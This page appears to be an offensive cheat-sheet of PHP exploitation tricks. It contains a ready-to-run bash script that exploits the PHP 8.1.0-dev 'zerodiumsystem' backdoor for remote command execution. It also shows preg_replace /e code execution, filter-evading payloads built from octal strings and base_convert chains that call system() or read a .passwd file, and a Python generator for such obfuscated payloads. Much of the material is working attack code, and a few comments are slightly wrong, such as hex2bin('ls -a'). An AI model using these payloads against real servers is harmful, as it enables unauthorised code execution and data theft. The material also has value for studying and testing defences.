Skip to content

PHP Tricks

In this cheat-sheet, you will find payload, different exploits / vulns, so many hacktricks to do exploit PHP apps.

📚 Resources

Resources - PHP 8.1.0-dev

Tricks

PHP 8.1.0-dev - Backdoor

A Backdoor was introduced into the internal version of php 8.1.0-dev after the git server was compromised.

To exploit this vulenrability, add the header named User-Agentt and the os command in zerodiumsystem('cmd') in request, like that :

http
"User-Agentt: zerodiumsystem('cmd');"

Here is a script to exploit with command injection :

bash
#!/bin/bash

url=$1
cmd=$2
curl_options=$3

if [ -z "$url" ] || [ -z "$cmd" ]; then
    echo "Usage: $0 <url> <command> [curl_options (optional)]"
    echo "Error: Missing required arguments."
    exit 1
fi

case "$url" in
  http://*|https://*) url="$url" ;;
  *) url="http://$url" ;;
esac

curl -v -H "User-Agentt: zerodiumsystem('$cmd');" $curl_options $url | awk 'BEGIN{RS="<!DOCTYPE"} NR==1 {print $0}'

PHP preg_replace()

php
# Example
preg_match('foo', 'bar'); // wrong
preg_match('/foo/', 'bar'); // Always use a delimiter
php
# Dangerous: no default delimiter validation used in research
preg_replace($_POST['research'], $_POST['replace'], $_POST['content']);

# Using the `/e` modifier (removed since PHP 7.0) to execute code via eval()
preg_replace('/a/e', 'foobar', 'abc');
preg_replace('/a/e', 'scandir(".")', 'abc'); // Replaces 'a' with eval(scandir('.'))

# Other variations, with
preg_replace('/.*/e', 'phpinfo()', 'input'); // replace * by phpinfo()
preg_replace('/^(.*)/e', 'strtoupper("\\1")', 'hello'); // Converts input to uppercase

preg_match()

Bypassing the regex that not allow alphanumeric characters is possibled, you can used only non-alphanumeric characters.

php
# regex
preg_match('/[a-zA-Z`]/', $_POST['input'])

# Only the ascii chars must be encoded, the chars like ^/(`|/$, are allowed
php
# encode payload to octal
# if the code used eval()

"\160\150\160\151\156\146\157"() # => phpinfo()
"\146\151\154\145\137\147\145\164\137\143\157\156\164\145\156\164\163"("\56\160\141\163\163\167\144") # => file_get_contents(".passwd")

base_convert()

base_convert() allows conversions between different bases (base 10, base 36, etc.) as long as the characters are numeric or valid symbols for the specified base. With base_convert(), you can easily convert a string (base 36) to a number (base 10)

php
# base 10: "0123456789"
# base36: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

# Exemple: convert from base 36 to base 10
base_convert("foo",36,10) # output: 20328
base_convert(20328,10,36) # output: foo

# If eval() is used, it will interpret the result as code and execute it.
base_convert(55490343972,10,36)() # output: phpinfo(), (executed)

important: eval() executes any PHP code in string form. If you can generate characters (e.g., using base_convert()), you can create executable code and run it.

php
# base_convert() only handles alphanumeric characters from the specified base.
# Special characters must be encoded differently, e.g., with hex2bin() or chr(), like:
base_convert(37907361743,10,36)(base_convert(819603452553278904,10,36).base_convert(731170729668892,10,36)) # output: 'hello world'

# Explanation:
base_convert(37907361743,10,36)() # from Base10 to Base36 => hex2bin()

# In base_convert(): From Base10 to Base36
# Then convert from Hex inside hex2bin()
hex2bin(base_convert(819603452553278904,10,36).base_convert(731170729668892,10,36))
# Output => 'hello ' + 'world'

Key Points:

819603452553278904 is converted from Base10 to Base36, then from Hex => Test.

The inverse process: Test => converted to Hex, from Base36, then back to Base10 => 819603452553278904.

php
# You can also use chr() for simpler ASCII-to-char conversions:
base_convert(9911,10,28)(102).base_convert(9911,10,28)(111).base_convert(9911,10,28)(111) # output : foo

# Arbitrary code execution: e.g., system(hex2bin("ls -a"))
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(base_convert(643768259438377,10,36)))

Resources

python
# Python script to generate payload using chrs() for ASCII conversion
command = "cat .*" # payload
output = "base_convert(1751504350,10,36)(" # system()
for i in range(len(command)):
    if i == len(command)-1: # the last char
        output += "base_convert(9911,10,28)("+str(ord(command[i]))+")" # used chrs(<i-to-ASCII>)
    else:
        output += "base_convert(9911,10,28)("+str(ord(command[i]))+")."
output += ")"
print(output)